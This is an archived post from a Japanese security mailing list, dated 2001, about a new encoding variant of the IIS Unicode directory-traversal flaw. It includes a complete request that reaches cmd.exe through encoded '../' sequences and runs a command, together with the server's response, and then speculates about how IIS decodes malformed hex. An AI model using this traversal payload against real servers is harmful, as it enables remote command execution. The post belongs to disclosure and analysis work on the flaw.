[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[stalk:00162] Re: IIS-Unicode ニューパターン発見 (Re: βパッチ公開しました)



☆★@☆★☆.★ ソニー サイバーショット が当たる! ☆★@☆★☆.★

自動車保険 最大15社を【無料】一括見積もり 「保険スクエアbang!」

   ココをクリック!⇒ http://www.easyml.com/1099.php3 
------------------------------------------------------------------------


たりきです。

ピリオドになるコードの転置(?)表現に触れられていなかったと
思いますが、ソイツも少なくともIIS4.0だと通ります。
%c0%9u -> %c0%ae+%0f => "."

------------------------------------------
GET /scripts/%c0%ae%c0%9u/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
------------------------------------------
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 23 Mar 2001 16:47:02 GMT
Content-Type: application/octet-stream
Volume in drive C is NT40SYS
Volume Serial Number is 50C1-C205

 Directory of C:\InetPub\scripts

00/04/04  12:16         <DIR>          .
00/04/04  12:16         <DIR>          ..
00/04/04  12:16         <DIR>          samples
00/04/04  12:16         <DIR>          tools
               4 File(s)              0 bytes
                          2,648,537,088 bytes free
------------------------------------------

ここからは私の妄想かも知れません、と一応断っておいて、と。

だいたいからしてほぼASCIIなアルファベットや数字って他の
コード体系でも同じ位置にあると思い込んでいたりしますが、
それが真だとしたら以下のことがなりたつかも知れません。

キャラクタコードによって
(二ケタ目-'0')*16+下一ケタ-'0'
(二ケタ目-'a')*16+下一ケタ-'a'
(二ケタ目-'A')*16+下一ケタ-'A'

ってことぢゃないかしら。

つまり、"%"を発見したら、続く二ケタを見て
'A'〜なら、-'A'して+10する
'a'〜なら、-'a'して+10する
'0'〜なら、-'0'する
というロジックを通したあとで
(二ケタ目)*16+(一ケタ目)をしてコードを作ってやりゃいいんじゃ
ないのかなあ。

先の例なら
%c0%9u -> %c0%ae+%0f => "."

%c0はそのまま192。
%9uは9*16+('u'-'a'+10)で144+30=174
192*256+174=49326=0xc0ae

同じコトを%XXが続くかぎりそれらをケタ数として算出して
いるのかも知れません。
三ケタの場合だと、三ケタ目は3364倍されるってことになりますね。
4ケタ表現ってそもそもUNICODEで存在するんすか?私が知らない
だけかも知れませんが。

記号のたぐいにあてはまる位置とかで試せたらわかるかな?

これなら、下一ケタがキャラクタコードで16だけシフトしたとき、
二ケタ目が繰り上がる理由も通ります。
ってことは、32だけ増やした場合は二ケタ目は-2で表記される
のかな?と思ったけど、ASCIIだと文字が定義されてなかったり
先に大文字で解釈されたりになっちゃうみたい。
つか、ちゃんと試してないだけなんですが。キャラクタコードに無くて
もバイナリイメージで送出すりゃいいんですからねえ。

他力本願堂本舗-----------------------
http://tarikihongandou.shadowpenguin.org
mailto:tarikihongandou@xxxxxxxxxxxxxxxxx
        tarikihongandou@xxxxxxxxxxx
--
- このメイリングリストに関する質問・問い合せ等は
- <security-talk@xxxxxxxxxx>までお知らせください
--
------------------------------------------------------------------------
  インフォシーク★オススメお花見スポット&全国各地の桜開花情報!
 http://www.infoseek.co.jp/Playspot?pg=playspot_top.html&svx=971122